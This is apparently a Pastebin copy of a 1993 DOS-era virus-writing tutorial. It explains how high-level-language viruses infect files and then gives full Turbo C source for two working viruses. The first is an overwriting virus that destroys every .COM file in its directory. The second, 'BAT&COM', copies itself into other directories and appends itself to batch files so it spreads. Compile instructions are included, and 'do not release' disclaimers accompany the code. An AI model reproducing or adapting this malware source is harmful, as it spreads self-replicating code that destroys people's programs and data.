Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Upper-level languages, such as Basic, C, and a multitude of
- others, are where most programmers these days feel at home. They
- provide users with an amazing amount of built-in functionality
- and allow the programmer to escape from having to deal with the
- machine that is being programmed on, and instead focus on the
- details of the program design. For viruses, this makes them easy
- languages to start in, but there are several obstacles. The first
- is that most upper-level languages simply were not made to program
- at a base systems level, even in C this is not easy. As a result,
- most viruses that are in this genre are primitive [usually
- overwriting] in their reproduction mechanism, although their
- activation routines can be impressive. Another really important
- disadvantage is that high-level languages often create files that
- are at the very LEAST 10k and often much higher - not very
- efficient for a virus. With this overhead, a memory-resident
- virus is impractical as it would usually be noticed by the user
- when a rather large chunk of memory disappears for no apparent
- reason.
- Another possibility with high-level languages, however, is a
- source-code virus. This kind of virus is quite rare (to the best
- of my knowledge) but could be very effective. What a source-code
- virus does, in short, search for another source file in the
- same language - for example, it might search for all files with a
- ".C" extension for C. It would then add its own source code to
- the file (often by way of "including" a header with the routines
- and placing a call to it in main()) which would execute once the
- program was compiled. After compilation, the virus would be more
- or less hidden inside the application and would be dormant until
- it found another ".C" file. The only documented case of this that
- I know of Mark Ludwig's virus presented in Computer Virus
- Developments Quarterly, Volume 1, Number 2.
- At any rate, all of these viruses have some basic steps in
- common. They are:
- 1) Find a file to infect, be it an executable, source,
- or whatever (If none is found, go to step 3)
- 2) Place virus in the file.
- 3) Decide if any activation routines are met and, if so,
- activate.
- 4) Return to host or terminate and return to DOS.
- For overwriting viruses, the implementation of these is quite
- simple. The only problem with these viruses is that they totally
- destroy any program that they infect, making them quite obvious.
- The only way to cure these is to find all of the infected files
- and delete them, restoring them from backups. The following virus
- is an extremely simple overwriting virus written in C. It will
- infect all.COM files within the current directory, destroying
- them completely. As it infects each file, it will print
- "Infecting [FILENAME]" on the screen as a warning. If you compile
- it to test it, compile it once, then EXE2BIN it and check the
- resultant size. If it does not equal 9504 bytes, change the line
- "x=9054;" to the appropriate size value. Do be careful with this
- virus, because while it is a primitive one, it will destroy any
- .COM files that it hits.
- - - ------------------ Cut Here -------------------------- - -
- /* This is a simple overwriting virus programmed in Turbo C */
- /* It will infect all .COM files in the current directory */
- /* Infections destroy the programs and cannot be cured */
- /* It was presented in Virology 101 (c) 1993 Black Wolf */
- /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
- #include <stdio.h>
- #include <dos.h>
- #include <dir.h>
- FILE *Virus,*Host;
- int x,y,done;
- char buff[256];
- struct ffblk ffblk;
- main()
- {
- done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
- while (!done) /* Loop for all COM's in DIR*/
- {
- printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
- Virus=fopen(_argv[0],"rb"); /* Open infected file */
- Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
- x=9504; /* Virus size - must */
- /* be correct for the */
- /* compiler it is made */
- /* on, otherwise the */
- /* entire virus may not*/
- /* be copied!! */
- while (x>256) /* OVERWRITE new Host */
- { /* Read/Write 256 byte */
- fread(buff,256,1,Virus); /* chunks until bytes */
- fwrite(buff,256,1,Host); /* left < 256 */
- x-=256;
- }
- fread(buff,x,1,Virus); /* Finish off copy */
- fwrite(buff,x,1,Host);
- fcloseall(); /* Close both files and*/
- done = findnext(&ffblk); /* go for another one. */
- }
- /* Activation would go */
- /* here */
- return (0); /* Terminate */
- }
- - - ------------------ Cut Here --------------------------- - -
- The next virus to be presented is also in C, but is quite a
- bit different in functioning than the last. Instead of infecting
- executable files by overwriting them, it infects .BAT files by
- the directory. When executed, BAT&COM will first search one
- directory below the current for batch files. If none are found,
- it will try the root directory, then finally the DOS directory.
- If it finds any batch files, it will infect all of the batches
- in the directory, then check to see if its file has already
- been put there. If not, then it will create a file called
- BAT&COM containing the virus. On my setup, after EXE2BIN-ing
- the file, it came out around 10k. The virus code is as follows:
- The BAT&COM Virus in C
- - - - -----------------Start Code------------------------- - - -
- /* This file is a high-level language virus of a different sort.
- It will search out batch files and, when found, place a copy
- of itself in the directory with the batch file while adding
- instructions in the BAT to execute this new file. In this way,
- it will spread each time an "infected" batch is run.
- Disinfection is done simply by deleting all of the BAT&COM.COM
- files and removing the commands from batch files that ruin
- them. This one is NOT confined to the current directory,
- so make sure it is on an isolated machine and be sure to
- clean up any infections. PLEASE DO NOT RELEASE!
- BAT&COM virus is (C) 1993 Black Wolf Enterprises.
- */
- #include <stdio.h>
- #include <dos.h>
- #include <dir.h>
- #include <string.h>
- struct ffblk ffblk;
- main()
- {
- char old_dir[MAXPATH];
- Get_Path(old_dir); /* Save the old directory */
- Pick_A_Dir(); /* Find a new directory to */
- Infect_Directory(); /* infect and infect it. */
- chdir(old_dir); /* Return to old directory */
- return 0;
- }
- Pick_A_Dir()
- {
- int done;
- chdir(".."); /* First, Go out a DIR. */
- done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
- /* root and DOS */
- if (done)
- {
- chdir("\\");
- done=findfirst("*.BAT",&ffblk,0);
- if (done) chdir("\\DOS\\");
- }
- return 0;
- }
- Infect_Directory()
- {
- int done;
- done = findfirst("*.BAT",&ffblk,0);
- while (!done) /* Find all .BAT files */
- { /* and add code to run */
- Do_Batch(); /* BAT&COM if not */
- done = findnext(&ffblk); /* already there */
- }
- if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
- {Copy_Virus();} /* not exist, then */
- return 0; /* copy it into dir.*/
- }
- Do_Batch()
- {
- FILE *batch;
- char Infection_Buffer[12];
- char vpath[MAXPATH];
- Get_Path(vpath); /* Get path for adding path */
- /* specifier in commands */
- if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */
- batch=fopen(ffblk.ff_name, "rt+");
- fseek(batch, -11, SEEK_END);
- fread(Infection_Buffer,11,1,batch);
- Infection_Buffer[11]=0; /* Terminate String */
- if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
- { /* Batch is */
- fseek(batch, 0, SEEK_END); /* infected.*/
- fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
- } /*^- Add command */
- /* to batch */
- fclose(batch);
- return 0;
- }
- Copy_Virus()
- {
- FILE *old_virus, *new_virus;
- int write_length;
- char copy_buffer[1024]; /* Copy the virus to */
- /* new directory */
- old_virus=fopen(_argv[0],"rb");
- new_virus=fopen("BAT&COM.COM","wb");
- write_length=1024;
- while (write_length==1024)
- {
- write_length=fread(copy_buffer,1,1024,old_virus);
- fwrite(copy_buffer,write_length,1,new_virus);
- }
- fclose(old_virus);
- fclose(new_virus);
- return 0;
- }
- Get_Path(char *path)
- {
- strcpy(path, "A:\\");
- path[0] ='A' + getdisk(); /* Returns current path */
- getcurdir(0, path+3);
- return 0;
- }
- - - - -----------------End of Code------------------------ - - -
Add Comment
Please, Sign In to add comment